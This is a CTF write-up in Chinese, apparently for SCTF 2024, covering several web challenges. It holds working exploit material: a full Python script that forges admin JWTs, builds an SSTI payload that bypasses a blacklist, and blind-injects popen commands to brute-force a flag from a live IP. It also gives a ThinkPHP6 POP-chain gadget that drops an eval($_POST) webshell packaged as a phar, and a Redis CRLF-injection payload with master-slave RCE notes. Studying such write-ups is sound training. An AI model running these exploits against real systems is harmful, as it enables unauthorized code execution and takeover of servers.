ezRender
因为没有关闭句柄,打开句柄有上限,所以注册超过2048个用户,打开超过2048次/dev/random就无法再打开文件了。后面的key就是时间戳了,直接写脚本爆破伪造cookie。用fenjing绕过黑名单ssti,rce爆破flag
import requests
import jwt
import time
import base64
import json
from datetime import datetime, timezone
# 消耗句柄,注册admin用户,移除用户
url = "http://1.95.82.67:34946"
num = 2050
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(int(datetime.now(timezone.utc).timestamp()))
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
for i in range(num):
requests.post(f"{url}/register", json={"username":f"{i}","password":f"{i}"})
def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"1"}
verify_c = jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token
admin = User("admin","admin")
requests.post(f"{url}/register", json={"username":"admin","password":"admin"})
admin.secret = str(int(datetime.now(timezone.utc).timestamp())-1) #容易有1秒的误差
print(admin.secret)
adminToken = generateToken(admin)
print(adminToken)
reponse = requests.post(f"{url}/admin",data={"code":"aa"},cookies={"Token":adminToken})
print(reponse.text)
# adminToken = "eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLlVrZ3NuOUc0N1VWTFZpSHZYNkJQQ0FVNEVEcl84UElOSGEtWHRRNWdwRmMifQ=="
for i in range(num):
requests.post(f"{url}/removeUser", data={"username": f"{i}"}, cookies={"Token":adminToken})
requests.post(f"{url}/admin",data={"code":"aa"},cookies={"Token":adminToken})
# 生成ssti payload
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [
"\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app",
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "touch$IFSstatic/1.css")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")
#爆破flag
adminToken = "eyJuYW1lIjogImFkbWluIiwgInNlY3JldCI6ICJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pWVdSdGFXNGlMQ0pwYzE5aFpHMXBiaUk2SWpFaWZRLlVrZ3NuOUc0N1VWTFZpSHZYNkJQQ0FVNEVEcl84UElOSGEtWHRRNWdwRmMifQ=="
f = 'SCTF{'
def get_flag(url, cmd): # 盲注函数
try:
base64_cmd = base64.b64encode(cmd.encode()).decode()
# print(base64_cmd)
payload = "{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen(g.pop.__globals__.__builtins__.__import__('base64').b64decode('"+base64_cmd+"').decode()).read()}}"
# print(payload)
r = requests.post(f"{url}/admin", data={"code":payload}, cookies={"Token": adminToken},timeout=1.5)
# print(r.text)
except:
return True
return False
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?{\} _-!@#$%^&*()_+[]"
# a = 'sS'
for i in range(1,50):
for j in a:
cmd=f'cat /tmp/flag|grep ^{f+j}&&sleep 2'
if(get_flag(url,cmd)):
print(cmd)
f = f + j
break
# print(f)
Simpleshop
根据题目提示说是前台的洞,所以找未授权的接口
这里有个获取图片的base64,调用了image_to_base64,这个函数会调用curl发现原来网上有cve,还审个毛线呢?
可以ssrf
如果满足这个判断条件就可以读本地文件
然后我们尝试../来路径穿越,但是这里有waf,不过只进行了一次替换
直接用其他过滤的字符来双写绕过
本地是可以读的
远程也是可以读的,但是只能读到/var/www下的文件,怀疑是权限问题
看了其他师傅的wp,说是通过put_image这个函数来触发phar
但是调用put_image要满足条件,前面的image_to_base64要返回false,而如果是远程文件,这里只要返回的状态码不是200就可以返回false
直接改201状态码
但是readfile还是可以正常读取远程文件的内容
这里有个恶心的地方,就是path是uploads/qrcode,但实际是statics/uploads/qrcode
相当于我们只能用到readfile,后面无法写入,所以我们要另外找个上传文件的地方,但是前台是没有上传文件的地方,一定要登录,但是靶机没有发验证码的功能,所以自带的注册不了。看了wp发现原来robots.txt给了个注册的路由(应该是为了出题自己写的)。比赛的时候根本不知道,ε=(´ο`*)))唉。
能上传图片文件
上传有限制
为了利用phar反序列化,本地写个反序列化路由测试
找个Thinkphp6的pop链,这里用的是Cells.php来调用Channel的__call
<?php
namespace PhpOffice\PhpSpreadsheet\Collection{
class Cells{
public function __construct($cache)
{
$this->cache = $cache;
}
// public function __destruct()
// {
// $this->cache->deleteMultiple($this->getAllCacheKeys());
// }
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php eval($_POST[1]);exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => [],
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
// echo base64_encode(serialize($a));
}
成功执行,说明链子可行
然后生成一个phar,然后gzip压缩绕过文件内容的检测
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
$phar = new Phar("6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
成功执行,但是路径太长会出错
ezjump
nextjs 14.1.0有CVE-2024-34351,可以ssrf,出题人应该就是从这里得到的灵感
根据文章复现
成功收到请求,不过都是head
打302跳转,这里直接修改返回包
成功收到请求
后面就是python的backend
import os
import subprocess
import urllib.request
from flask import Flask, request, session, render_template
from Utils.utils import *
app = Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/', methods=['GET'])
def hello():
return "Welcome to SCTF 2024! Have a Good Time!"
@app.route('/login', methods=['GET'])
def login():
username = request.args.get("username")
password = request.args.get("password")
user =get_user(username)
if user:
if password == user['password']:
if user['role']=="admin":
cmd=request.args.get("cmd")
if not cmd:
return "No command provided", 400
if waf(cmd):
return "nonono"
try:
result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
return result.stdout
except Exception as e:
return f"Error: {str(e)}", 500
else:
session['username'] = username
session['role'] = user['role']
return render_template('index.html', username=session['username'], role=session['role'])
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
else:
add_user(username, password, 'n0B0dy')
user = get_user(username)
if user:
session['username'] = username
session['role'] = 'noBody'
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
return "Please give me username and password!"
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
很明显,要伪造为admin,这里的用户信息都是存储在redis里,然后用waf对要发给redis的命令进行了替换,这里很容易想到php反序列化的替换把payload挤出来,每次都溢出一个字母
稍微调一下
?username=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0d%0a$52%0d%0aeyJwYXNzd29yZCI6ICJhYWFhIiwgInJvbGUiOiAiYWRtaW4ifQ==&password=aaaa
成功替换
把原来的value挤出来,换成我们的value在第三个
set语句返回OK,最后的$52报错
成功注册
后面就是用curl来打redis
其他师傅用大小写绕过gopher,我则是用dict
有一个点是要设置slave-read-only为no,不然主从之后就无法注册登录了,其他就是经典的主从命令了。
SycServer 2.0
前面的弱密码的登录,这里不太好搭就算了。我们来看一下最核心的原型链污染,下面的路由很明显可以污染